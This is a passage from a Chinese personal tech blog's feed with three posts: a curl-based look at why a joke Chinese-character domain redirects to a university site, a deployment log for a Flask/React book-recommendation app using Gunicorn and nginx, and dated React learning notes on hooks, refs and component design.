<p>看<a href="https://www.bilibili.com/read/cv27389269/"  target="_blank" rel="noopener" >【教程向】如何让 www.xx原神大学.com 跳转到你的学校的官网 - 哔哩哔哩</a>，它这里是用的第一种。但我需要验证<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>也是用的方法。</p>
</li>
<li>
<p>尝试<code>traceroute</code>,没看出什么结果：</p>
</li>
<li>
<p>使用<code>curl -I</code>,结果如下</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">eu:~$ curl -I 玩原神玩的.com
</span></span><span class="line"><span class="cl">HTTP/1.1 <span class="m">301</span> Moved Permanently
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>UTF-8
</span></span><span class="line"><span class="cl">Date: Thu, <span class="m">04</span> Jan <span class="m">2024</span> 14:18:59 GMT
</span></span><span class="line"><span class="cl">Keep-Alive: <span class="nv">timeout</span><span class="o">=</span><span class="m">4</span>
</span></span><span class="line"><span class="cl">Location: http://ustc.edu.cn
</span></span><span class="line"><span class="cl">Proxy-Connection: keep-alive
</span></span><span class="line"><span class="cl">Server: nginx
</span></span><span class="line"><span class="cl">Strict-Transport-Security: max-age<span class="o">=</span>0<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">eu:~$ curl -I 中国科学技术大学.com
</span></span><span class="line"><span class="cl">HTTP/1.1 <span class="m">302</span> Found
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">Date: Thu, <span class="m">04</span> Jan <span class="m">2024</span> 14:19:43 GMT
</span></span><span class="line"><span class="cl">Keep-Alive: <span class="nv">timeout</span><span class="o">=</span><span class="m">4</span>
</span></span><span class="line"><span class="cl">Location: https://ys.mihoyo.com/
</span></span><span class="line"><span class="cl">Proxy-Connection: keep-alive
</span></span><span class="line"><span class="cl">Server: namecheap-nginx
</span></span><span class="line"><span class="cl">X-Served-By: Namecheap URL Forward
</span></span></code></pre></div><p>这里验证了我的猜想，两个域名都是用的第一种方法。</p>
</li>
</ol>
<h2 id="解答">解答</h2>
<p>现在就能回答一开始的问题了:</p>
<ol>
<li>
<p>为什么访问<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>会变成<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>?</p>
<p>因为对<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>的所有请求都被重定向到了<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>对应的网站服务器。</p>
</li>
<li>
<p>为什么dns查询上面查出来地址是<code>75.126.101.233</code>，而且无法访问？</p>
<p>因为<code>75.126.101.233</code>是<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>对应的ip，这个域名并没有自己对应的服务器,请求都被重定向掉了。而真正的<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>的ip是<code>202.141.176.6</code>。</p>
</li>
</ol>
<h2 id="总结">总结</h2>
<p>我之前以为自己已经了解其原理，所以没有多想。</p>
<p>但这次真正去了解后还是能收获些新知识的。比如国际化域名，Punycode编码等。</p>
<h2 id="吐槽">吐槽</h2>
<ul>
<li>我一开始还以为<a href="%e4%b8%ad%e5%9b%bd%e7%a7%91%e5%ad%a6%e6%8a%80%e6%9c%af%e5%a4%a7%e5%ad%a6.com" >中国科学技术大学.com</a>是属于学校官方的，还以为是用到了什么黑科技才做到让它跳转到<a href="https://ys.mihoyo.com/"  target="_blank" rel="noopener" >《原神》官方网站</a>的。但现在看来，并不是。这让我有些失望。</li>
<li>写这篇的时候我尝试让Copilot做自动补全，是能有些帮助，但还是不习惯，会有种自己的思路被带着走的感觉。我不喜欢这种感觉，于是关掉了。</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://www.bilibili.com/read/cv27389269/"  target="_blank" rel="noopener" >【教程向】如何让 www.xx原神大学.com 跳转到你的学校的官网 - 哔哩哔哩</a></li>
<li><a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >Internationalized domain name - Wikiwand</a></li>
<li><a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode - Wikiwand</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>“一本好书”部署记录</title>
      <link>https://euds.org/2023/%E4%B8%80%E6%9C%AC%E5%A5%BD%E4%B9%A6%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/</link>
      <pubDate>Mon, 30 Oct 2023 00:50:12 +0800</pubDate>
      
      <guid>https://euds.org/2023/%E4%B8%80%E6%9C%AC%E5%A5%BD%E4%B9%A6%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/</guid>
      <description>记录&amp;quot;一本好书&amp;quot;部署的过程</description>
      <content:encoded><![CDATA[<h2 id="说明">说明</h2>
<ul>
<li>前端仓库地址： <a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >BookRecommend_Front</a></li>
<li>后端仓库地址<a href="https://github.com/EuDs63/BookRecommend_Back"  target="_blank" rel="noopener" >BookRecommend_Back</a></li>
</ul>
<h2 id="mysql">MySQL</h2>
<ol>
<li>安装
<a href="https://dev.mysql.com/doc/mysql-apt-repo-quick-guide/en/"  target="_blank" rel="noopener" >MySQL :: A Quick Guide to Using the MySQL APT Repository</a>
<code>systemctl status mysql</code></li>
<li>登录 <code>mysql -u root -p</code></li>
<li>建表</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-mysql" data-lang="mysql"><span class="line"><span class="cl"><span class="k">show</span><span class="w"> </span><span class="k">databases</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">CREATE</span><span class="w"> </span><span class="k">DATABASE</span><span class="w"> </span><span class="n">book_recommend</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">USE</span><span class="w"> </span><span class="n">book_recommend</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">source</span><span class="w"> </span><span class="o">/</span><span class="n">path</span><span class="o">/</span><span class="k">to</span><span class="o">/</span><span class="n">your_script</span><span class="p">.</span><span class="k">sql</span><span class="p">;</span><span class="w"> </span><span class="c1">#建库脚本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">show</span><span class="w"> </span><span class="kp">tables</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">describe</span><span class="w"> </span><span class="n">table_name</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h2 id="flask">Flask</h2>
<h3 id="设置生产服务器">设置生产服务器</h3>
<ol>
<li>安装Gunicorn <code>pip install gunicorn</code></li>
<li>安装相关依赖 <code>pip install -r requirements.txt</code></li>
<li>测试运行<code>gunicorn -w 4 -b 127.0.0.1:5000 'app:app' --access-logfile=-</code> (显示日志)</li>
<li>测试成功后</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir logs
</span></span><span class="line"><span class="cl"><span class="c1"># 后台运行，日志输出在文件中</span>
</span></span><span class="line"><span class="cl">gunicorn -w <span class="m">4</span> -b 127.0.0.1:5000 <span class="s1">&#39;app:app&#39;</span> --access-logfile<span class="o">=</span>logs/access.log --error-logfile<span class="o">=</span>logs/error.log --daemon
</span></span><span class="line"><span class="cl"><span class="c1"># 查看进程</span>
</span></span><span class="line"><span class="cl">pgrep gunicorn
</span></span><span class="line"><span class="cl"><span class="c1"># 关闭进程</span>
</span></span><span class="line"><span class="cl">pkill gunicorn
</span></span></code></pre></div><h2 id="react">React</h2>
<ol>
<li>打包 <code>npm run build</code></li>
<li>nginx操作</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo vim /etc/nginx/sites-available/book_recommend
</span></span><span class="line"><span class="cl"><span class="c1">#粘贴以下配置</span>
</span></span><span class="line"><span class="cl">server <span class="o">{</span>
</span></span><span class="line"><span class="cl">    listen 80<span class="p">;</span>
</span></span><span class="line"><span class="cl">    server_name ip_address<span class="p">;</span>  <span class="c1"># 使用服务器的 IP 地址</span>
</span></span><span class="line"><span class="cl">    root /usr/local/project/bookrecommend/dist<span class="p">;</span>  <span class="c1"># 静态文件所在的目录</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    location / <span class="o">{</span>
</span></span><span class="line"><span class="cl">        try_files <span class="nv">$uri</span> /index.html<span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 创建一个符号链接以启用配置文件</span>
</span></span><span class="line"><span class="cl">sudo ln -s /etc/nginx/sites-available/book_recommend /etc/nginx/sites-enabled/
</span></span><span class="line"><span class="cl"><span class="c1"># 检查 Nginx 配置以确保没有语法错误：</span>
</span></span><span class="line"><span class="cl">sudo nginx -t
</span></span><span class="line"><span class="cl"><span class="c1"># 重启 Nginx 以使配置生效</span>
</span></span><span class="line"><span class="cl">sudo service nginx restart
</span></span></code></pre></div><h2 id="收获">收获</h2>
<h3 id="0000与-127001的区别"><code>0.0.0.0</code>与<code> 127.0.0.1</code>的区别</h3>
<ol>
<li>
<p><code>-b 0.0.0.0</code> 意味着绑定到所有可用的网络接口，可以通过任何 IP 地址访问。这使得应用程序对外可见，可以通过服务器的公共 IP 地址或域名进行访问。</p>
</li>
<li>
<p>而<code>-b 127.0.0.1</code> 意味着仅绑定到本地回环接口（localhost，IP 地址 127.0.0.1），这样只有本地访问能够连接到您的 Flask 应用程序。外部网络请求无法直接访问。</p>
</li>
</ol>
<h2 id="参考连接">参考连接</h2>
<ol>
<li><a href="https://dormousehole.readthedocs.io/en/latest/deploying/index.html"  target="_blank" rel="noopener" >生产部署 — Flask中文文档(2.3.x)</a></li>
<li><a href="https://dormousehole.readthedocs.io/en/latest/deploying/gunicorn.html"  target="_blank" rel="noopener" >Gunicorn — Flask中文文档(2.3.x)</a></li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>React学习经历</title>
      <link>https://euds.org/2023/learn_react/</link>
      <pubDate>Tue, 12 Sep 2023 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2023/learn_react/</guid>
      <description>记录学习React的经历，按日期进行排序，会比较乱</description>
      <content:encoded><![CDATA[<h2 id="2023年9月12日">2023年9月12日</h2>
<p>这两个多星期来几乎都是在写React，现在对它算是又爱又恨。</p>
<h3 id="爱">爱</h3>
<p>逻辑很舒服，虽然我新接触，但几乎就是很自然而然地就能开始写了。</p>
<h3 id="恨">恨</h3>
<p>说恨可能有点过了，但确实遇到了好些坑，耗了好些时间。</p>
<ol>
<li>
<p><code>useEffect</code></p>
<p>看了<a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a>后转而使用封装好的useSWR,现在体验感很好。</p>
</li>
<li>
<p><code>useParams()</code>获取不到参数</p>
<p>这个是我没仔细看文档，想当然了.文档中说得很明白:</p>
<blockquote>
<p>Returns an object of key/value pairs of the dynamic params from the current URL that were matched by the route path.</p>
</blockquote>
<p>而我一开始是在Route之外去<code>useParams()</code>，最后的解决方式是，在原本的组件外套一层wrapper，这样来实现左右栏的效果</p>
</li>
<li>
<p><code>Rendered more hooks than during the previous render.</code></p>
<p>这也是个花了我许久的报错。最头疼的是不知道是代码哪里的问题。在<a href="https://stackoverflow.com/questions/55622768/uncaught-invariant-violation-rendered-more-hooks-than-during-the-previous-rende"  target="_blank" rel="noopener" >stackoverflow上的一个回答</a>的解释下，才明白可能问题出在return和useEffect执行顺序的问题。</p>
</li>
<li>
<p>Redux，虽然用起来了，但现在还是懵懵的，还是得再看文档</p>
</li>
</ol>
<h3 id="总结">总结</h3>
<p>因为要赶最后的ddl，所以比较偏向于急于求成，看了看用法和示例就开始写了，虽然最后确实能写出点东西，但总有种半生不熟的感觉。</p>
<p>这样做还有一个很大的弊端：我跟着示例文档和ai的提示，照猫画虎写出一个能用的东西，后面为了效率，我就会直接去复用这个东西，或者在其基础上稍微修改。</p>
<p>代码的可复用性当然是件好事。但问题是我最开始糊出来的那个其实不一定就是好的。但如果我能在了解、学习了一定基础上再去写，成品会好很多。</p>
<p>我感觉一个比较理想的状态是：先学百分五六十，然后再去用。用的过程同时也加深理解。</p>
<hr>
<h2 id="2023年9月14日">2023年9月14日</h2>
<p>看了<a href="https://react.dev/learn/thinking-in-react"  target="_blank" rel="noopener" >Thinking in React</a>,记录一下</p>
<ul>
<li>
<p>Which of these are state? Identify the ones that are not:</p>
<ol>
<li>Does it remain unchanged over time? If so, it isn’t state.</li>
<li>Is it passed in from a parent via props? If so, it isn’t state.</li>
<li>Can you compute it based on existing state or props in your component? If so, it definitely isn’t state!</li>
</ol>
<p><em>What’s left is probably state.</em></p>
</li>
<li>
<p>For each piece of state in your application:</p>
<ol>
<li>Identify every component that renders something based on that state.</li>
<li>Find their closest common parent component -&gt; a component above them all in the hierarchy.</li>
<li>Often, you can put the state directly into their common parent.</li>
<li>You can also put the state into some component above their common parent.</li>
<li>If you can’t find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common parent component.</li>
</ol>
</li>
</ul>
<hr>
<h2 id="2024年2月28日">2024年2月28日</h2>
<p>最近的一个小玩具<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>有轻量级的状态管理需求，权衡下决定使用<a href="https://jotai.org/"  target="_blank" rel="noopener" >Jotai, primitive and flexible state management for React</a>,开始的体验很不错。</p>
<p>我先做好了<code>./work/page</code>这个组件。接下来我希望实现类似于Postman的多标签页。每个标签页都是用同样的组件，但它们互相独立。</p>
<p>本来这并不是件难事，但因为我之前偷懒，高度依赖jotai的atom来做状态管理,因此花了好些时间。</p>
<p>先尝试了<a href="https://github.com/jotaijs/jotai-scope"  target="_blank" rel="noopener" >jotaijs/jotai-scope</a>,它给的示例确实符合我的需求，但当标签切走再切回去的时候，原来的状态就被重置了，我找不到问题所在，放弃。</p>
<p>中途多次问ChatGPT和Gemini，都是一开始看着很可行，然后实际不行，再问就开始重复之前的回答了。</p>
<p>最后是靠<a href="https://devv.ai/zh"  target="_blank" rel="noopener" >Devv</a>解决的，它说<a href="https://jotai.org/docs/utilities/family"  target="_blank" rel="noopener" >Jotai的atomFamily</a>能解决。<code>atomFamily</code>允许创建一组相关的原子，并为每个实例提供一个唯一的标识符。一试,确实可行。</p>
<p>现在再看我的实现，感觉还是比较简陋的。每个标签页对应一个特定的<code>tagId</code>，然后<code>atomFamily</code>就是&quot;a Map whose key is a param and whose value is an atom config&quot;。</p>
<hr>
<h2 id="2024年3月4日">2024年3月4日</h2>
<ul>
<li>
<p><a href="https://react.dev/reference/react/useCallback"  target="_blank" rel="noopener" >useCallback – React</a></p>
<ol>
<li><code>useCallback</code> is a Hook, so you can only call it at the top level of your component or your own Hooks.</li>
<li><code>useCallback</code> caches a <strong>function</strong> between re-renders until its dependencies change</li>
<li>usage:Skipping re-rendering of components</li>
<li><code>useMemo</code> caches the <strong>result</strong> of calling your function</li>
<li>The only benefit to <code>useCallback</code> is that it lets you avoid writing an extra nested function inside. It doesn’t do anything else.</li>
</ol>
</li>
<li>
<p><a href="https://prin.pw/react-unstable-nested-components/"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></p>
<ul>
<li>永远不要在 React 组件内部嵌套定义子组件。</li>
<li>「渲染函数」和「函数组件」的区别:
<ol>
<li>渲染函数虽然和组件一样都返回 JSX，但它不是组件；</li>
<li>渲染函数就是普通 JavaScript 函数，没有状态，也没有对应的 Fiber 节点；</li>
<li>渲染函数只是当前组件的一部分，对于 React 渲染来说没有额外开销；</li>
<li>渲染函数内部<strong>不能</strong>使用 Hooks，只有组件内部才能使用 Hooks；</li>
<li>渲染函数命名一般以 render 开头，首字母小写（否则容易和组件搞混）</li>
<li>调用方式</li>
</ol>
</li>
<li><a href="https://github.com/shuding/tilg"  target="_blank" rel="noopener" >shuding/tilg: A magical React Hook that helps you debug components.</a>可以用来展示组件生命周期。</li>
</ul>
</li>
<li>
<p>报错：<code>useEffect</code> is called conditionally</p>
<p>完整报错如下:</p>
<blockquote>
<p>React Hook &ldquo;useEffect&rdquo; is called conditionally. React Hooks must be called in the exact same order in every component render.  react-hooks/rules-of-hooks</p>
</blockquote>
<p>解决方法很简单，只需将useEffect调用移动到组件的顶层，并使用条件语句来决定是否执行其内部的逻辑即可。</p>
</li>
<li>
<p><a href="https://react.dev/learn/render-and-commit"  target="_blank" rel="noopener" >Render and Commit – React</a></p>
<ul>
<li>在 React 中，每次更新都分为 两个阶段：
<ol>
<li>在 渲染 阶段， React 调用你的组件来确定屏幕上应该显示什么。</li>
<li>在 提交 阶段， React 把变更应用于 DOM。</li>
</ol>
</li>
<li>Process of requesting and serving UI has three steps:
<ol>
<li>Triggering a render</li>
<li>Rendering</li>
<li>Committing to the DOM</li>
</ol>
</li>
<li>Two reasons for a component to render:
<ol>
<li>It’s the component’s initial render.</li>
<li>The component’s (or one of its ancestors’) state has been updated.</li>
</ol>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月5日">2024年3月5日</h2>
<ul>
<li><a href="https://www.developerway.com/posts/components-composition-how-to-get-it-right"  target="_blank" rel="noopener" >Developer Way: React components composition: how to get it right</a>
<ul>
<li>The core React development and decomposition rules:
<ol>
<li>always start implementation from the top</li>
<li>extract components only when there is an actual need for it</li>
<li>always start from “simple” components, introduce other composition techniques only when there is an actual need for them</li>
</ol>
</li>
<li>A component should be described either as a “component that implements various stuff” or as a “component that composes various components together”, not both.</li>
<li>Extract Container components when there is a need to share some visual or behavioural logic that wraps elements that still need to be under “consumer” control</li>
<li>What makes a good component?
<ol>
<li>易读</li>
<li>命名清晰准确</li>
<li>doesn’t do things that are irrelevant to its declared purpose</li>
</ol>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月6日">2024年3月6日</h2>
<ul>
<li>
<p><a href="https://legacy.reactjs.org/docs/composition-vs-inheritance.html#containment"  target="_blank" rel="noopener" >Composition vs Inheritance – React</a></p>
<ul>
<li>&ldquo;children&rdquo; is just a prop. The fancy “composition” pattern that we use is a syntax sugar.</li>
<li>Inheritance is not recommended. If you want to reuse non-UI functionality between components, we suggest <strong>extracting it into a separate JavaScript module</strong>. The components may import it and use that function, object, or class, without extending it.</li>
</ul>
</li>
<li>
<p><a href="https://www.developerway.com/posts/react-elements-children-parents"  target="_blank" rel="noopener" >Developer Way: The mystery of React Element, children, parents and re-renders</a></p>
<ul>
<li>Components that are passed as props don’t re-render.</li>
<li>If children are passed as a render function, they start re-rendering.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月7日">2024年3月7日</h2>
<ul>
<li>读<a href="https://zh-hans.react.dev/reference/react/Fragment"  target="_blank" rel="noopener" ><!-- raw HTML omitted --> (&lt;&gt;&hellip;&lt;/&gt;) – React 中文文档</a>，原来<code>&lt;&gt;</code>是<code>&lt;Fragment</code>的简写。</li>
</ul>
<hr>
<h2 id="2024年3月8日">2024年3月8日</h2>
<ul>
<li>
<p>受控组件 v.s 非受控组件</p>
<ul>
<li>参考<a href="https://muyunyun.cn/blog/56hn38ez"  target="_blank" rel="noopener" >重新认识受控与非受控组件</a></li>
<li>In a controlled component, form data is handled by a React component.</li>
<li>In a uncontrolled component, form data is handled by the DOM itself.</li>
<li>受控以及非受控组件的边界划分取决于当前组件对于子组件值的变更是否拥有控制权。</li>
</ul>
</li>
<li>
<p><a href="https://zh-hans.react.dev/reference/react-dom/components/input#my-input-caret-jumps-to-the-beginning-on-every-keystroke"  target="_blank" rel="noopener" >当我输入时，输入框光标会跳到开头– React 中文文档</a></p>
<blockquote>
<p>有可能是因为每次输入时输入框都从 DOM 中删除并重新添加。同样，如果在每次重新渲染时不小心 重置了 state，就会发生这种情况。例如，如果输入框或其祖先组件总是接收不同的 key，或者嵌套使用组件（这在 React 中是不允许的，并且会导致“内部”组件在每次渲染时重新挂载），就会发生这种情况。</p>
</blockquote>
<p>我在写<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>就遇到了这个问题，原来如此。</p>
</li>
</ul>
<hr>
<h2 id="2024年3月9日">2024年3月9日</h2>
<ul>
<li>
<p>redux</p>
</li>
<li>
<p>useContext的使用</p>
</li>
<li>
<p>自定义hook</p>
</li>
</ul>
<hr>
<h3 id="ref">ref</h3>
<ul>
<li>ref 是一个普通的 JavaScript 对象，具有可以被读取和修改的 current 属性。</li>
<li><a href="https://zh-hans.react.dev/learn/referencing-values-with-refs#differences-between-refs-and-state"  target="_blank" rel="noopener" >ref 和 state 的不同之处</a>
<ol>
<li>更改不会触发渲染</li>
<li>无set</li>
<li>可变 —— 你可以在渲染过程之外修改和更新 current 的值。</li>
<li>不应在渲染期间读取（或写入） current 值。</li>
</ol>
</li>
<li>使用时机
<ol>
<li>当一条信息仅被事件处理器需要，并且更改它不需要重新渲染时，使用 ref 可能会更高效。</li>
<li>你的组件需要“跳出” React 并与外部 API 通信时</li>
<li>存储和操作 DOM 元素</li>
<li>存储不需要被用来计算 JSX 的其他对象</li>
</ol>
</li>
<li><code>ref</code>回调函数
<ol>
<li>参考<a href="https://zh-hans.react.dev/reference/react-dom/components/common#ref-callback"  target="_blank" rel="noopener" >ref 回调函数 – React 中文文档</a></li>
<li>不要从 ref 回调函数中返回任何内容。</li>
<li>当回调函数被附加在 ref 属性后，触发回调时，该参数为对应的 DOM 节点。当 ref 被分离时值为 null。除非在每次渲染时都传递相同的函数引用作为 ref 回调，否则该回调将在组件的每次重新渲染期间被暂时分离和重新连接。</li>
</ol>
</li>
<li>默认情况下，React 不允许组件访问其他组件的 DOM 节点:可使用<code>forwardRef</code>,例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MyInput</span> <span class="o">=</span> <span class="nx">forwardRef</span><span class="p">((</span><span class="nx">props</span><span class="p">,</span> <span class="nx">ref</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">input</span> <span class="p">{...</span><span class="nx">props</span><span class="p">}</span> <span class="nx">ref</span><span class="o">=</span><span class="p">{</span><span class="nx">ref</span><span class="p">}</span> <span class="o">/&gt;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li><a href="https://zh-hans.react.dev/learn/manipulating-the-dom-with-refs#exposing-a-subset-of-the-api-with-an-imperative-handle"  target="_blank" rel="noopener" >使用命令句柄暴露一部分 API</a></li>
<li>React 在提交阶段设置 <code>ref.current</code>。在更新 DOM 之前，React 将受影响的<code> ref.current</code>值设置为 null。更新 DOM 后，React 立即将它们设置到相应的 DOM 节点。</li>
</ul>
<hr>
<h2 id="2024年3月10日">2024年3月10日</h2>
<h3 id="fiber">Fiber</h3>
<ul>
<li>参考<a href="https://zhuanlan.zhihu.com/p/390409316"  target="_blank" rel="noopener" >React Fiber很难？六个问题助你理解 React Fiber - 知乎</a>
<ul>
<li>一套更新机制,让 React 的更新过程变得可控</li>
<li>栈递归 -&gt; 链表遍历</li>
</ul>
</li>
<li><a href="https://blog.logrocket.com/deep-dive-react-fiber/"  target="_blank" rel="noopener" >A deep dive into React Fiber - LogRocket Blog</a></li>
</ul>
<hr>
<h2 id="2024年3月14日">2024年3月14日</h2>
<ul>
<li>什么hooks不能写在if/else等语句里</li>
<li>你是怎么理解React的？（答得非常烂，建议从数据驱动 ui = f(state)、响应式 fiber + 异步可中断更新、组件化 component，hooks、跨平台 scheduler；reconciler；render；vdom，合成事件系统等方面答）</li>
<li>React18新特性（concurrent）</li>
<li>react有没有什么缺点（能没有缺点吗，死怼运行时，hooks凭啥不能写在if/else里，useXXX到底怎么个use法，过期闭包，依赖全得手动写，如果用eslint那么里面用过的都会要你加到依赖数组里）</li>
<li>react hooks为啥不能写在if/else里（底层实现就是个链表，一个有序的东西）</li>
<li>react hooks能实现类里面的所有生命周期吗</li>
<li>路由怎么做的 什么守卫</li>
</ul>
<hr>
<h2 id="2024年3月21日">2024年3月21日</h2>
<ul>
<li>组件间通信</li>
<li>自定义hook</li>
<li>react hook</li>
<li>react 组件传值</li>
<li>react父组件怎么获取子组件的值   useRef</li>
<li>react provider标签以及其使用原理</li>
<li>react 路由的两种模式</li>
<li>redux
<ul>
<li><a href="https://redux.js.org/tutorials/essentials/part-1-overview-concepts"  target="_blank" rel="noopener" >Redux Essentials, Part 1: Redux Overview and Concepts | Redux</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月26日">2024年3月26日</h2>
<h3 id="自定义hook">自定义hook</h3>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI4NjE3MzQzNg==&amp;mid=2649865889&amp;idx=1&amp;sn=2549fb3da7608aa8e3cce0623fbd8d25"  target="_blank" rel="noopener" >超性感的React Hooks（五）：自定义hooks</a></li>
</ul>
<blockquote>
<p>自定义hook能够跟随函数组件重复执行，并且每次都返回最新结果。因此，我们可以非常放心大胆的封装异步逻辑。</p>
</blockquote>
<ul>
<li>看<a href="https://mp.weixin.qq.com/s/GPcwIPJBc9I_NtixyU-U4Q"  target="_blank" rel="noopener" >超性感的React Hooks（六）自定义hooks的思维方式</a>，摘录其中一段</li>
</ul>
<blockquote>
<p>准确来说，应该是逻辑片段复用。</p>
<p>和组件化思维不同，这是另外一个粒度更细的代码复用思维。例如我们之前提到的，获取同样的数据。在组件化思维中，一个完整的组件，包括了这份数据，以及这份数据在页面上的展示结果。因此这是不同的复用思维。</p>
<p>处理获取数据过程中的公用逻辑，处理公用的登陆逻辑等。自定义hooks封装的大多数情况下不是一个完整的页面逻辑实现，而是其中的一个片段。</p>
</blockquote>
<hr>
<h2 id="2024年4月9日">2024年4月9日</h2>
<p>看<a href="https://dev.to/chandrapantachhetri/responsive-react-file-upload-component-with-drag-and-drop-4ef8"  target="_blank" rel="noopener" >Responsive React File Upload Component With Drag And Drop - DEV Community</a></p>
<p>尤其是“Why are we setting the title and value attribute to &ldquo;&quot;?”这段，之前我看别人的代码这样写还以为是错的，原来是有其独特作用的。</p>
<hr>
<h2 id="2024年4月28日">2024年4月28日</h2>
<ul>
<li><a href="https://juejin.cn/post/7132786097922736164"  target="_blank" rel="noopener" >useEffect(fn, []) 不等于 componentDidMount() - 掘金</a></li>
<li><a href="https://juejin.cn/post/7277917854430674959"  target="_blank" rel="noopener" >React 组件库都是怎么打包？ - 掘金</a></li>
<li><a href="https://react.dev/reference/react/useImperativeHandle"  target="_blank" rel="noopener" >useImperativeHandle – React</a></li>
</ul>
<p>这几篇打开来很久了，一直没看，记录下。</p>
<hr>
<h2 id="2024年5月20日">2024年5月20日</h2>
<ul>
<li>参考
<ul>
<li><a href="https://react.dev/reference/react/forwardRef"  target="_blank" rel="noopener" >forwardRef – React</a></li>
<li><a href="https://react.dev/reference/react/useImperativeHandle"  target="_blank" rel="noopener" >useImperativeHandle – React</a></li>
<li><a href="https://www.telerik.com/blogs/react-basics-how-to-use-forwardref"  target="_blank" rel="noopener" >React Basics: How to Use ForwardRef</a></li>
</ul>
</li>
<li>forwardRef lets your component expose a DOM node to parent component with a ref.</li>
<li>useImperativeHandle is a React Hook that lets you customize the handle exposed as a ref.
<code>useImperativeHandle(ref, createHandle, dependencies?)</code></li>
</ul>
<hr>
<h2 id="2024年9月21日">2024年9月21日</h2>
<ul>
<li><a href="https://blog.huli.tw/2024/03/13/from-react-to-vue/#%E5%9C%A8%E9%96%8B%E5%A7%8B%E4%B9%8B%E5%89%8D"  target="_blank" rel="noopener" >從 React 到 Vue 的心得感想 - Huli&rsquo;s blog</a></li>
</ul>
<hr>
<h2 id="2024年10月11日">2024年10月11日</h2>
<p>读<a href="https://github.com/paul-ll/my_book/blob/master/React%E5%AE%9E%E6%88%98%EF%BC%9A%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/%E7%BB%84%E4%BB%B6%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%EF%BC%882%EF%BC%89%EF%BC%9A%E9%AB%98%E9%98%B6%E7%BB%84%E4%BB%B6.md"  target="_blank" rel="noopener" >my_book/React实战：设计模式和最佳实践/组件设计模式（2）：高阶组件.md at master · paul-ll/my_book</a></p>
<p>摘录其中内容作为我的笔记</p>
<ul>
<li>
<p>高阶组件的定义:</p>
<ul>
<li>一个纯函数</li>
<li>接收组件作为参数</li>
<li>返回一个新的组件</li>
<li>高阶组件的命名一般都带 with 前缀，命名中后面的部分代表这个高阶组件的功能</li>
</ul>
</li>
<li>
<p>示例</p>
</li>
</ul>
